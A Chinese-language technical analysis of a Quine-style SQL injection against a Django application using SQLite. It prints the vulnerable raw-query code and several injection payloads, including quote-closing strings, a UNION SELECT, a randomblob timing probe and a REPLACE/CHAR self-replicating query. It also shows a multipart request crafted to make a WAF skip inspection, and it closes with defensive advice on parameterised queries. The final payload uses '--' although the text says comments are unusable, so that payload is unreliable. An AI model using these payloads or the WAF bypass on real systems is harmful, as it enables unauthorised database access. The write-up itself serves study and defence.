Django框架下的Sqlite的Quine注入
字数 866 2025-08-29 08:30:12
Django框架下的SQLite Quine注入技术分析
1. 漏洞背景
本文分析了一种在Django框架下利用SQLite数据库特性实现的Quine注入技术。该技术通过精心构造自引用SQL语句,绕过WAF防护,实现数据库信息泄露。
2. 环境分析
2.1 技术栈
- Web框架:Django
- 数据库:SQLite
- 防护措施:存在WAF(Web应用防火墙)
2.2 漏洞位置
审计发现存在SQL注入漏洞的代码段,但由于使用了SQLite数据库,其语法与常见的MySQL注入有所不同。
3. 注入技术分析
3.1 基本注入原理
在SQLite中,当应用程序使用类似以下查询时存在注入点:
User.objects.raw("SELECT * FROM adminuser WHERE username='%s' AND password='%s'" % (username, password))
3.2 闭合技术
由于不能使用注释符号(--或/* */),采用以下方式闭合单引号:
- 第一种闭合方式:
admin' AND '1'='1
- 第二种闭合方式:
admin' AND '1'='1' AND '1'='1
通过对比返回结果验证闭合有效性:
- 成功闭合时,
users[0]有值 - 失败时查询不到结果
3.3 Quine注入技术
Quine注入是一种自引用技术,使SQL语句的输出与输入相同。
3.3.1 基本原理
利用SQLite的REPLACE函数构造自引用语句:
SELECT REPLACE(REPLACE('"SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine"',CHAR(34),CHAR(39)),CHAR(36),'"SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine"') AS Quine
3.3.2 实际应用
在目标环境中,需要构造三列输出:
- 第一列:执行的语句
- 第二列:替换后的结果
- 第三列:实际回显的位置
最终构造的payload格式:
admin' UNION SELECT 1,2,3 WHERE '1'='1
3.4 绕过WAF技术
3.4.1 绕过方法
- 利用multipart boundary混淆WAF
- 构造特殊报文使WAF解析失败
3.4.2 具体实现
构造包含filename的报文,使部分WAF实现跳过检测:
------WebKitFormBoundary
Content-Disposition: form-data; name="username"
admin' UNION SELECT 1,2,3 WHERE '1'='1
------WebKitFormBoundary
Content-Disposition: form-data; name="password"; filename="test.txt"
bypass
------WebKitFormBoundary--
4. 漏洞利用步骤
-
确认注入点:通过时间盲注验证
admin' AND (SELECT CASE WHEN (1=1) THEN randomblob(4000000000) ELSE 0 END) AND '1'='1 -
构造Quine注入payload:
admin' UNION SELECT REPLACE(REPLACE('"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine--',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine--') AS Quine-- -
调整闭合方式适应实际环境:
- 内部使用双引号闭合
- 外部使用单引号闭合
-
绕过WAF执行注入
5. 防御建议
-
使用参数化查询:
User.objects.raw("SELECT * FROM adminuser WHERE username=%s AND password=%s", [username, password]) -
加强输入验证
-
实现多层WAF防护
-
限制数据库用户权限
-
对敏感操作进行日志记录和监控